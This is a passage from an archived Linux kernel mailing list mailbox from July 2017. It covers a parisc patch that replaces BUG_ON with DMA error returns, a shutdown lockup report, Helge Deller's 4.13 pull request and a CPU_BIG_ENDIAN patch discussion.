> +#define DMA_ERROR_CODE	(~(dma_addr_t)0)
> +
>  #ifdef CONFIG_PA11
>  extern const struct dma_map_ops pcxl_dma_ops;
>  extern const struct dma_map_ops pcx_dma_ops;
> @@ -54,12 +56,13 @@ parisc_walk_tree(struct device *dev)
>  			break;
>  		}
>  	}
> -	BUG_ON(!dev->platform_data);
>  	return dev->platform_data;
>  }
> -		
> -#define GET_IOC(dev) (HBA_DATA(parisc_walk_tree(dev))->iommu)
> -	
> +
> +#define GET_IOC(dev) ({					\
> +	void *__pdata = parisc_walk_tree(dev);		\
> +	__pdata ? HBA_DATA(__pdata)->iommu : NULL;	\
> +})
>  
>  #ifdef CONFIG_IOMMU_CCIO
>  struct parisc_device;
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index e32ca2e..56c93f0 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -741,6 +741,8 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
>  
>  	BUG_ON(!dev);
>  	ioc = GET_IOC(dev);
> +	if (!ioc)
> +		return DMA_ERROR_CODE;
>  
>  	BUG_ON(size <= 0);
>  
> @@ -814,6 +816,10 @@ ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
>  	
>  	BUG_ON(!dev);
>  	ioc = GET_IOC(dev);
> +	if (!ioc) {
> +		WARN_ON(!ioc);
> +		return;
> +	}
>  
>  	DBG_RUN("%s() iovp 0x%lx/%x\n",
>  		__func__, (long)iova, size);
> @@ -918,6 +924,8 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	
>  	BUG_ON(!dev);
>  	ioc = GET_IOC(dev);
> +	if (!ioc)
> +		return 0;
>  	
>  	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
>  
> @@ -990,6 +998,10 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  
>  	BUG_ON(!dev);
>  	ioc = GET_IOC(dev);
> +	if (!ioc) {
> +		WARN_ON(!ioc);
> +		return;
> +	}
>  
>  	DBG_RUN_SG("%s() START %d entries, %p,%x\n",
>  		__func__, nents, sg_virt(sglist), sglist->length);
> diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
> index 1133b5c..5c63b92 100644
> --- a/drivers/parisc/dino.c
> +++ b/drivers/parisc/dino.c
> @@ -154,7 +154,10 @@ struct dino_device
>  };
>  
>  /* Looks nice and keeps the compiler happy */
> -#define DINO_DEV(d) ((struct dino_device *) d)
> +#define DINO_DEV(d) ({				\
> +	void *__pdata = d;			\
> +	BUG_ON(!__pdata);			\
> +	(struct dino_device *)__pdata; })
>  
>  
>  /*
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index 2ec2aef..bc286cb 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -111,8 +111,10 @@ static u32 lba_t32;
>  
>  
>  /* Looks nice and keeps the compiler happy */
> -#define LBA_DEV(d) ((struct lba_device *) (d))
> -
> +#define LBA_DEV(d) ({				\
> +	void *__pdata = d;			\
> +	BUG_ON(!__pdata);			\
> +	(struct lba_device *)__pdata; })
>  
>  /*
>  ** Only allow 8 subsidiary busses per LBA
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 33385e5..87ad5fd 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -691,6 +691,8 @@ static int sba_dma_supported( struct device *dev, u64 mask)
>  		return 0;
>  
>  	ioc = GET_IOC(dev);
> +	if (!ioc)
> +		return 0;
>  
>  	/*
>  	 * check if mask is >= than the current max IO Virt Address
> @@ -722,6 +724,8 @@ sba_map_single(struct device *dev, void *addr, size_t size,
>  	int pide;
>  
>  	ioc = GET_IOC(dev);
> +	if (!ioc)
> +		return DMA_ERROR_CODE;
>  
>  	/* save offset bits */
>  	offset = ((dma_addr_t) (long) addr) & ~IOVP_MASK;
> @@ -813,6 +817,10 @@ sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
>  	DBG_RUN("%s() iovp 0x%lx/%x\n", __func__, (long) iova, size);
>  
>  	ioc = GET_IOC(dev);
> +	if (!ioc) {
> +		WARN_ON(!ioc);
> +		return;
> +	}
>  	offset = iova & ~IOVP_MASK;
>  	iova ^= offset;        /* clear offset bits */
>  	size += offset;
> @@ -952,6 +960,8 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
>  
>  	ioc = GET_IOC(dev);
> +	if (!ioc)
> +		return 0;
>  
>  	/* Fast path single entry scatterlists. */
>  	if (nents == 1) {
> @@ -1037,6 +1047,10 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  		__func__, nents, sg_virt(sglist), sglist->length);
>  
>  	ioc = GET_IOC(dev);
> +	if (!ioc) {
> +		WARN_ON(!ioc);
> +		return;
> +	}
>  
>  #ifdef SBA_COLLECT_STATS
>  	ioc->usg_calls++;
> 



From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: BUG: workqueue lockup (after powerdown)
Date: Mon, 3 Jul 2017 18:01:05 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <fc3f4979-f533-b411-3794-4bf971bd02a7@gmx.de>
References: <alpine.LRH.2.20.1707031031180.28253@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499097676 31752 195.159.176.226 (3 Jul 2017 16:01:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 16:01:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 03 18:01:13 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dS3mg-0007x9-Iu
	for glk-linux-kernel-3@m.gmane.org; Mon, 03 Jul 2017 18:01:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754358AbdGCQBO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 3 Jul 2017 12:01:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55527 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752179AbdGCQBL (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 3 Jul 2017 12:01:11 -0400
Original-Received: from [192.168.20.60] ([193.159.18.56]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MfzEP-1d7OEu4C5F-00NURo; Mon, 03
 Jul 2017 18:01:06 +0200
In-Reply-To: <alpine.LRH.2.20.1707031031180.28253@math.ut.ee>
X-Provags-ID: V03:K0:z5GAIupW6lH2vwjOpJf+SC0/Xlei4ogDAyMIpFjkuB/ch1Ri1wq
 ebg0aNmArJ8CCAAJt2blR4sMLzjgRz3Tzm4s5BsGTlMTBov49vdYm9YDM6VsJwvm/7fUiPA
 vD7MAkrws9iGKWhd5E3l578YtnfNcCHYAH8gmda0giRjgLTyVrcd787kODj9djh0A3B5QHe
 48+Ynt64wS7NdINqSGUlg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZS/yZeQieQI=:zMHir+C9pfj7jb1YwpgvXd
 oKxKJfu3FAN+J6AWuiRfhph+RY5aiIiTtLnzXhctuWXPX+cL3BlwW40Plr4MbkoC1FuAITwhQ
 omXgK0DgAScmYo8UTw/+5LG3UDW9+cff6Ob7kQZzd0/64AMV6JDi0R0BEUFJZWz9/zQ3CTRMk
 XzB23DfqClbrbqpQoj1DdgQHKD/pDyukL54kQHzfYm3hp2lJ9/ZY4V804RyFzKz10sFzdRkPI
 QQFwuNDbMkbvBFLqw9l0ek5Upwa0EUzl39re2FjIBPFfXqOfLMMinMVDjtDV0zWJeFCGyHMBB
 QAsK6nI4Dfljr8X8cFV8QANVSIZvSxgyXIIjSVmUamR9lvgThf/D0L6ukG2vlxl3tKTsJ1bmA
 VZ2XTI/CzXzVgMhLVLWrjNAoZJhm07ys0eRLXBQfneSas80SPAFkYCbcxBtSsWLN5WnJ4B9NT
 7bMH8/FiIz8OZUZzPTEFUdSa1EHmeTx/Xi7opmlgmKxcnVlSZGasXX+v2CFu/bFh+DHJdn42a
 e7T1CygZTzgTsYnxBgiT4wTGJWvs+t3iaCprjzCUsPpv+1KJNrerH3duXHryXy2Qgvn9Lby4j
 VPlUmVIGDfygg/p0W0GxxNoTQ6DhXBJW1r1xWYBwg9Z5Qa4Q1RE15YKaYk5UnBI9AI1AiGQfA
 kl5hR8bcuMBIDALpu+Wmn+u+f+CEzGfOnrcWFGuvdn0+4ZEwcA9unQO1MGKosWsax/qkqA587
 TJVYXMwmbrD4BYCaOvi6pviHUv+DHth6w+mhVhxo/x7ajZDSlP36lngXPdumi9aAYxu2KTS5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2515967 gmane.linux.ports.parisc:27532
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2515967>

On 03.07.2017 09:34, Meelis Roos wrote:
> Today I tested 4.12 release on my RP3440 (HP parisc). It worked fine, 
> then on shutdown I got this strange message from kernel after shutdown:
> 
> reboot: Power down
> System shut down completed.
> Please power this system off now.
> BUG: workqueue lockup - pool cpus=0 node=0 flags=0x0 nice=0 stuck for 40s!
> 
> and this continues with longer and longer times.
> 
> Is it something hppa specific or general?

No idea.
Maybe other platforms (like x86_64) physically drop power on machine 
so you won't see it. On parisc we can't power off on many machines,
so instead we will keep running in an endless for-next loop.

Btw, I'm seeing a similar BUG:

[  308.432664] reboot: Power down
[  308.479625] System shut down completed.
[  308.479625] Please power this system off now.
[  332.523916] NMI watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [halt:1807]
[  332.523916] Modules linked in:
[  332.523916] CPU: 0 PID: 1807 Comm: halt Not tainted 4.12.0-64bit+ #724
[  332.523916] task: 00000000af379e00 task.stack: 00000000af00c000
[  332.523916] 
[  332.523916] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004022d180 000000004022d17c
[  332.523916]  IIR: 08030241    ISR: 0000000000000000  IOR: 0000000000000000
[  332.523916]  CPU:        0   CR30: 00000000af00c000 CR31: 00000000d23345e2
[  332.523916]  ORIG_R28: 0000000000000000
[  332.523916]  IAOQ[0]: machine_restart+0x0/0xa0
[  332.523916]  IAOQ[1]: machine_power_off+0x104/0x108
[  332.523916]  RP(r2): machine_power_off+0x104/0x108
[  332.523916] Backtrace:
[  332.523916]  [<000000004022d17c>] machine_power_off+0x104/0x108
[  332.523916]  [<000000004028ff3c>] kernel_power_off+0x1ac/0x1c0
[  332.523916]  [<00000000402902a8>] SyS_reboot+0x250/0x340
[  332.523916]  [<0000000040209020>] syscall_exit+0x0/0x14

Helge


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for v4.13
Date: Mon, 3 Jul 2017 21:13:03 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20170703191303.GA1182@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499109210 3112 195.159.176.226 (3 Jul 2017 19:13:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 19:13:30 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Eric Biggers <ebiggers@google.com>,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 03 21:13:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dS6mb-0000CM-3r
	for glpp-linux-parisc@m.gmane.org; Mon, 03 Jul 2017 21:13:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752378AbdGCTNW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 3 Jul 2017 15:13:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:57776 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752312AbdGCTNV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 3 Jul 2017 15:13:21 -0400
Original-Received: from p100.box ([193.159.18.56]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MNq8p-1dLDpZ2rcZ-007RDk; Mon, 03
 Jul 2017 21:13:06 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:6NLkuFkKn/Q3OLGFiOMUNRpS6q0IigKPUu+hPSduhqdDncJplNY
 p7yPA4kpK612VcM8cHHWOHBp08fM4lENrWPtIFrtTRF/q4ORq3S3N+fxb5C9SR9+kR1j40/
 Xje8PHc64tdOjhgW5mBuX5OsWAt2kXwOcrf2RRT19zDn9bmaJQTM9Sdwe0ZfV+5XrQ8+Ean
 TpzrCKSk2PvGPUDfBUbyg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ukr/CgEIU6k=:co00/uQr16z76RNGHepJOx
 fggrlPog2697LD44VFBBxV0Fhss1a0HMPMklh6B4bdhG5E5Z92ylXA9CHrfAFUVIEzk2H8CQF
 I9hD4rsT9T5TRGUf4lQV/ctVEbhGGGA9j7IckfevrnrtWTeTk/Eg07tZo5njDtYYSY7DbEWaF
 F29EFmqzjhMMInck7C96HejvMUw2h9yyBuG7yo8p3EUxd58bcGgGmRzY3ZR6V5uMHEKOyoRAY
 SoQs6ZrSaFqOjsveCm392Pp0lusdwABDcyWEfh1AEn32L27E9sKsCZNUPrWd5dTBnXVno4Sgk
 Fi6W5jy+E/srWr4ZyiFLIv1MIS55LRilu36IcCZ/1fURsJrFEnZoQo39sFskLDqyWkkbJr5gc
 w41K0zoVTJvP98S+vOHf653JgBzADDf4N1Tuqu0isKUifLaUcGVcmTcgtZdSxSQS+MW6aQavz
 UVBm9CaoNZ3LOCcn39e63DnVD0RQNoDMTvfVAndDdZxDS7XvHnnQM1rFVxUSXHyOOil7sE9lN
 a0UVud0/pmx2Ucq0H1SO6ODnHrzH3hYUbA63VIk8ZW63s6V2/he1474E5LdGoYCva/Qxmuvle
 RGGX+aNqGTP6BONX2/Cpeqh9UUE5O2vOOW6FB1qMj3vwXlg7O5ouwgNwZR6wcf6ZEv575wlni
 IkAulI7c50T9h7ufRD6x1WyyVBvo9JekdS3SY4p3/I4KqFsS7Twjy9jCAZ7hEDxeu4Ryw1Bov
 DQTLbvlyxnR9RkPjvzVotzP1k5UaYdmOto/JHomTkLKBByitvBeZVMcLCMM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27533 gmane.linux.kernel:2516043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27533>

Hi Linus,

please pull fixes and enhancements for the parisc architecture for kernel 4.13-rc1 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-1

Main changes are:

- Added support to the parisc dma functions to return DMA_ERROR_CODE if DMA
  isn't possible. This fixes a long standing kernel crash if parport_pc is
  enabled (by Thomas Bogendoerfer, marked for stable series).

- Use the compat_sys_keyctl() in compat mode (by Eric Biggers, marked for stable
  series).
 
- Initial support for the Page Deallocation Table (PDT) which is maintained by
  firmware and holds the list of memory addresses which had physical errors.
  By checking that list we can prevent Linux to use those broken memory areas.

- Ensure IRQs are off in switch_mm().

- Report SIGSEGV instead of SIGBUS when running out of stack.

- Mark the cr16 clocksource stable on single-socket and single-core machines.

Thanks,
Helge

----------------------------------------------------------------
Eric Biggers (1):
      parisc: use compat_sys_keyctl()

Helge Deller (9):
      parisc: Inline trivial exception code in lusercopy.S
      parisc: Drop per_cpu uaccess related exception_data struct
      parisc: Enhance detection of synchronous cr16 clocksources
      parisc: Add Page Deallocation Table (PDT) support
      parisc/mm: Ensure IRQs are off in switch_mm()
      parisc: Avoid zeroing gr[0] in fixup_exception()
      parisc: Don't hardcode PSW values in gsc_*() functions
      parisc: Don't hardcode PSW values in hpmc code
      parisc: Report SIGSEGV instead of SIGBUS when running out of stack

Thomas Bogendoerfer (1):
      parisc: DMA API: return error instead of BUG_ON for dma ops on non dma devs

 arch/parisc/include/asm/dma-mapping.h |  11 ++-
 arch/parisc/include/asm/io.h          |  16 ++--
 arch/parisc/include/asm/mmu_context.h |  15 +++-
 arch/parisc/include/asm/pdc.h         |  18 +++++
 arch/parisc/include/asm/pdcpat.h      |  35 ++++++---
 arch/parisc/include/asm/pgtable.h     |   3 +
 arch/parisc/include/asm/processor.h   |   2 +
 arch/parisc/include/asm/uaccess.h     |  11 ---
 arch/parisc/include/uapi/asm/pdc.h    |  12 +--
 arch/parisc/kernel/Makefile           |   2 +-
 arch/parisc/kernel/asm-offsets.c      |   5 --
 arch/parisc/kernel/firmware.c         | 108 +++++++++++++++++++++++++
 arch/parisc/kernel/hpmc.S             |   5 +-
 arch/parisc/kernel/inventory.c        |   9 +++
 arch/parisc/kernel/pdt.c              | 143 ++++++++++++++++++++++++++++++++++
 arch/parisc/kernel/processor.c        |   5 +-
 arch/parisc/kernel/syscall_table.S    |   2 +-
 arch/parisc/kernel/time.c             |  24 +++++-
 arch/parisc/lib/lusercopy.S           |  25 +++---
 arch/parisc/mm/fault.c                |  12 +--
 arch/parisc/mm/init.c                 |   3 +
 drivers/parisc/ccio-dma.c             |  12 +++
 drivers/parisc/dino.c                 |   5 +-
 drivers/parisc/lba_pci.c              |   6 +-
 drivers/parisc/sba_iommu.c            |  14 ++++
 25 files changed, 420 insertions(+), 83 deletions(-)
 create mode 100644 arch/parisc/kernel/pdt.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 0/3] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Tue, 4 Jul 2017 09:11:43 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <CAMuHMdUMXL7MQTtxoau9jA_WKOPJo4-Pq30CFti2ZSkXkeYWfQ@mail.gmail.com>
References: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1499152310 25170 195.159.176.226 (4 Jul 2017 07:11:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Jul 2017 07:11:50 +0000 (UTC)
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.ke
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 04 09:11:42 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dSHzq-00066m-3f
	for glpp-linux-parisc@m.gmane.org; Tue, 04 Jul 2017 09:11:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751979AbdGDHLr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 4 Jul 2017 03:11:47 -0400
Original-Received: from mail-io0-f195.google.com ([209.85.223.195]:34633 "EHLO
        mail-io0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751960AbdGDHLp (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 4 Jul 2017 03:11:45 -0400
Original-Received: by mail-io0-f195.google.com with SMTP id r70so4505790ioe.1;
        Tue, 04 Jul 2017 00:11:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=bfXHGrTrCMe1LDwSPWA7/cMNq/s1QSpBEHJijf0B9s8=;
        b=Aku3lN7ktPeFKsfDEfsIK6p/NqLQ45F9z6y6zy0vI0o2nQG/eRytesVeWnsrY+O3u7
         ZSaSk2vVI4Qb1tsx9i2687/3USeIS10aHbjlcKSGpHjGTRBmY+cHMiO7qrJuh9m+l5Tz
         TxOtQZkwEx4VYYZ1v4JXpOTfOipVyI8cd9N9JpgowugAwjBW0PgquvSZHoMvWw0dta04
         lIDoWbKiF0mjkqZ0ZhMG2M4RviRQegj+KUAbNkc+vS1yd5epXz5CxkPhdH5xW3/ASy/2
         WK7jpxFZ13BU3FOtLYHnGTdmEm614lxOPJ4w32RuLQUnIZL7Y3kh9oVag2ZkZkwHqoNe
         jUnQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=bfXHGrTrCMe1LDwSPWA7/cMNq/s1QSpBEHJijf0B9s8=;
        b=LehlQMsm6Nh/v8K+uOYPYO5rUBIcQ67tp+hKZdr1JvBRv693MgulPSgweIf0rKLByF
         PqyMmgiDLFf1dgL4NS5PENQjQVXLumtPVMAhwPcg0koewTAiPeNsZoySIEri0ct6sPfp
         MQIYXS7xLh+TEItsG2CTY6ejsCWsKG4153GJGLaApkN+FiR1D1xYo6vcn3fefKrFfFHv
         Od8c/O1kd3XsglrTJS1JnHXOKtg51NUvkYK1XD9S1YxiPQuflrf8avNSVcq1aeKTL/BA
         ATmhpUWLl/VEH+/Z6sTtpPMASb3+atxpJnNnoLw/ufqT9tu02shOWOalzu39FBLTL/xI
         Bayg==
X-Gm-Message-State: AKS2vOxOYRr3qu5clSJPnpF2P5Fn+ETXGm7d7R3P24xNQBfwPLNmeK/n
        0TqcPDw0BY43YIbBYeJbC1kHa3OybQ==
X-Received: by 10.107.136.214 with SMTP id s83mr41347333ioi.21.1499152304613;
 Tue, 04 Jul 2017 00:11:44 -0700 (PDT)
Original-Received: by 10.107.84.3 with HTTP; Tue, 4 Jul 2017 00:11:43 -0700 (PDT)
In-Reply-To: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
X-Google-Sender-Auth: vxJUh5fMeHf0e6NnEqt8dObZA2U
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27534 gmane.linux.kernel:2516210 gmane.linux.ports.m68k:9418 gmane.linux.ports.sparc:25823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27534>

On Tue, Jun 13, 2017 at 12:09 AM, Babu Moger <babu.moger@oracle.com> wrote:
> Found this problem while enabling queued rwlock on SPARC.
> The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
> specific byte in qrwlock structure. Without this parameter,
> we clear the wrong byte.
> Here is the code in include/asm-generic/qrwlock.h
>
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>   {
>          return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>   }
>
> Also found few more references of this parameter in
> drivers/of/base.c
> drivers/of/fdt.c
> drivers/tty/serial/earlycon.c
> drivers/tty/serial/serial_core.c
>
> Here is our previous discussion.
> https://lkml.org/lkml/2017/5/24/620
>
> Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
> for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
> parisc and sparc). And warn if there are inconsistencies in this definition.
>
> v2 -> v3:
>  Added the choice statement for endianness selection for microblaze.
>  Updated the Makefile for microblaze(Suggested by Arnd Bergmann) to
>  properly compile for the correct format.
>  Updated acks.
>
> v1 -> v2:
>  Updated the commit messages and acks.
>
> Babu Moger (3):
>   arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
>   arch/microblaze: Add choice for endianness and update Makefile
>   include: warn for inconsistent endian config definition
>
>  arch/frv/Kconfig                        |    3 +++
>  arch/h8300/Kconfig                      |    3 +++
>  arch/m68k/Kconfig                       |    3 +++
>  arch/microblaze/Kconfig                 |   16 ++++++++++++++++
>  arch/microblaze/Makefile                |    2 ++
>  arch/openrisc/Kconfig                   |    3 +++
>  arch/parisc/Kconfig                     |    3 +++
>  arch/sparc/Kconfig                      |    3 +++
>  include/linux/byteorder/big_endian.h    |    4 ++++
>  include/linux/byteorder/little_endian.h |    4 ++++
>  10 files changed, 44 insertions(+), 0 deletions(-)

We've just got a new user in c1b0bc2dabfa884d ("usb: typec:
Add support for UCSI interface").
So this series should definitely go in soon.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma
 ops on non dma devs
Date: Wed, 5 Jul 2017 11:57:56 -0700
Lines: 132
Approved: news@gmane.org
Message-ID: <20170705185756.GA18087@infradead.org>
References: <20170703084920.142A9508094@solo.franken.de>
 <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499281087 29305 195.159.176.226 (5 Jul 2017 18:58:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Jul 2017 18:58:07 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 05 20:58:02 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
